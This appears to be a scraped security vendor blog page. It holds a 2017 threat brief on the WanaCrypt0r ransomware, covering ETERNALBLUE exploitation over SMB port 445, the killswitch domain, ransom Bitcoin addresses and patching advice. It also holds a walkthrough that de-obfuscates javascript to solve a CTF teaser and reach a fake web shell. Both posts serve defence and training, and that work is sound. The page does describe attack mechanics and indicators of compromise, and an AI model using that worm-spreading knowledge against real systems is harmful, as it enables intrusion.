Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

Threat Brief: WanaCrypt0r– What We Know

Situation Summary

This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.

Initial reports said that the WanaCrypt0r attack began as part of a spam/phishing campaign. Unit 42 and other researchers have concluded that these reports are not substantiated. While the initial attack vector for these attacks is unknown, it is certain that the spread of the ransomware occurs through active exploitation of the ETERNALBLUE vulnerability (CVE-2017-0144) in Microsoft Windows. Patches for this vulnerability for all supported versions of Windows have been available since March 2017. On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.

As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches. Unit 42 researchers have confirmed that the patch is effective against the WanaCrypt0r Ransomware attacks.

In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware. For information on Palo Alto Networks protections, please see our posting Palo Alto Networks Protections Against WanaCrypt0r Ransomware Attacks.

As with all ransomware attacks, Palo Alto Networks and Unit 42 recommends that anyone affected NOT pay the ransom. Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data. In addition, Unit 42 research has shown that very few have attempted to pay the ransom.

Unit 42 is following this situation very closely and will update this blog with any new information as it becomes available.

Overview

WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017. It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims. This attack uses the version 2.0 of this ransomware. WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.

Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017. Microsoft patched this vulnerability as part of the March 2017 Monthly Security Update Release by Microsoft Security Bulletin MS17-010. This is a SYSTEM-level remote code execution (RCE) in the handling of the Server Message Block (SMB) protocol in Microsoft Windows.

The attack uses this vulnerability to spread the WanaCrypt0r ransomware on the network. This is a classic network worm-class vulnerability like MS-Blaster and Conficker.

Early reports indicated that the initial attack vector was via spam and/or phishing email. However, this has not been confirmed and is unlikely to account for the global spread of the malware.

When the WanaCrypt0r ransomware executes successfully, it will encrypt key files on the system and display a ransom note as shown below (SOURCE: Microsoft).
wannacry_1

Figure 1 Ransom note for WanaCrypt0r

One thing reports have indicated that make this attack unique is a “killswitch” capability built into the malware. This “killswitch” will prevent the WanaCrypt0r ransomware from executing. The “killswitch” is code which will attempt to connect to an extremely long domain that should not resolve. The initial variant of WanaCrypt0r uses hxxp://iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com, however, there are reports of newer variants using different domains. If it was successful in connecting to the domain, the ransomware would not execute. However, it was easily subverted to work against the malware. A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this “killswitch”, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.

On Friday, May 12, 2017, Microsoft announced that they were making an emergency patch available for out-of-support versions of Windows (Windows XP, Windows 8 and Windows Server 2003).

As of this writing attacks appear to have subsided. This is likely due to increased uptake of the patch MS17-010 in light of the WanaCrypt0r attacks, as well as efforts made within the security community.

Unit 42 research shows there is likely very little actual payment of ransom. We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals:

  1. 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 - 12.42466618
  2. 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw - 11.83101346
  3. 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn - 8.74393075
  4. 1DefE3HEeBaR4EBbAajjHatFzMuPe885Hf - 3.12308549

This results in a total of 36 BTC, or roughly $63k based on the current price of BTC. Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.

Reconnaissance

This attack does not appear to be targeted. Therefore, there appears to be little recon as part of this attack. There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB. But these reports haven’t been conclusively verified.

Delivery

There is no consensus in the industry on what the delivery method/initial infection vector is. There have been several theories:

  1. Spam/Phishing: Initial theories suggested that delivery occurred through a spam or phishing email with a link in the body or in an attached Adobe .PDF file and the user could click the link and execute the attacker’s code in their security context to initiate the attack which would then spread on the network by attacking the ETERNALBLUE vulnerability.
  2. Direct attack against MS17-010: This theory suggests that the attack would establish a beachhead by attacking the ETERNALBLUE vulnerability on Internet-exposed systems and the attack would then spread on the network by attacking the ETERNALBLUE vulnerability from these compromised systems.
  3. RDP: This theory suggests that the initial attack comes by attacking systems using the Remote Desktop Protocol (RDP) and then the attack which would then spread on the network by attacking the ETERNALBLUE vulnerability from these compromised systems. This theory suggests an attack pattern similar to what Unit 42 outlined in the Shamoon 2 attacks followed by using RDP as the initial delivery method and then attacking the internal network from the compromised RDP system. There are theories suggesting this could be due to brute force attacks against the RDP system, while other theories suggest this could be due to a successful attack against a vulnerability on these RDP systems (theories do not state what vulnerability this could be or where the vulnerability might occur).

Unit 42 believes the most likely delivery method is method #2. However, this is not conclusively provenLateral Movement

Lateral Movement

The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems. A successful attack against this vulnerability will infect the target system with the WanaCrypt0r ransomware, which will encrypt data on the target system and attempt to spread itself once again.
Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet. These reports indicate that in addition to the internal lateral movement already outlined, the WanaCrypt0r ransomware will scan for port 445 on random external IP addresses and if it finds an IP address with an open port 445, it will then scan all devices on the same /24 IP range (i.e. that share the first three octets as that IP address with the open port 445).

Command and Control (C2)

In general, WanaCrypt0r does not have C2 capabilities but it does utilize the TOR network to communicate encryption keys for decryption upon payment of ransom. It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.

Conclusion

Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability/exploit with a ransomware family. Users are urged to apply the necessary Microsoft patch to protect themselves against this threat.

For protections, customers are advised to view this blog post that outlines the various ways the Palo Alto Networks platform prevents this threat.

Cyber Threat Alliance member ElevenPaths has developed a tool which can be used to attempt to recover some files deleted by WanaCrypt0r. You can find more information on this tool here.


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

LabyREnth Teaser Site

We recently announced LabyREnth, the 2nd Annual Palo Alto Networks Capture the Flag (CTF) Challenge, will go live on June 9, 2017.  Like last year, the LabyREnth countdown page included a little teaser… Were you able to find it?  If not, don’t worry. We’ve added a link to the CTF information on the countdown page because we want to make sure everybody has a chance to see the information.  We’ll also show you how to solve the teaser in case you still want to try it out.

We’re giving away some amazing prizes this year! We’ve increased the amounts of all the cash prizes and the first person to solve all the challenge tracks will win $10,000.  We hope this will motivate lots of people in the security community to play, learn, and have fun.

 

labyrenth_1

Figure 1 Prize Information

In order to solve the teaser challenge, start out by navigating to the main labyrenth.com page.

labyrenth_2

If we pull up the developer tools for the page we can see that clicking anywhere in the body of the page will redirect us to a 404 page.  That is very unusual, so let’s follow that thread and see where our curiosity takes us.

labyrenth_3

Figure 3 Developer Tools Showing index.html

The 404 page looks like a standard Apache 404 page, but if we look at the developer tools for the page we can see there is a hidden input and javascript file named wat_do.js.  This is a similar technique used by the Priv8 web shell to hide the login.

notfound

Figure 4 404 Page with Hidden Input

When we look at the javascript we can see that it is obfuscated and uses an eval right away.  This is a common javascript obfuscation technique used by malware to evaluate the unpacked javascript code.  We can copy the original javascript and paste it into the developer tools console. Then we can change the eval to console.log in order to print the next layer.

labyrenth_5

Figure 5 console.log initial javascript

We can copy the output and put it into a text editor like Visual Code Studio to pretty up the javascript.  We can see that we have an xor decoding loop with dat_otha_boy and some_otha_stuff.  We can also see that dat_otha_boy is the users input and we are redirected to the output of the decoding loop.

labyrenth_6

Figure 6 2nd layer cleaned up javascript

We should ask ourselves: Why is dat_boy being set to the event.srcElement.id and never used?  Perhaps that is the boy we are actually looking for.  We can modify the javascript to print where we would be redirected to if dat_boy was used by pasting it into the developer tools console.  When we do that we get what looks like the correct resource: w3_sh0w_U_wUt_w3_g0000t.html.

labyrenth_7

Figure 7 Decoding the correct resource

We can put G3t$chW1fty into the hidden text box on the 404 page or go directly to the resource we decoded to get the fake web shell.  We can interact with the fake shell by typing help for the available commands.

The team has lots of surprises in store for the CTF that we think you will have fun with. Good luck and we hope to see you in the LabyREnth on June 9!


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.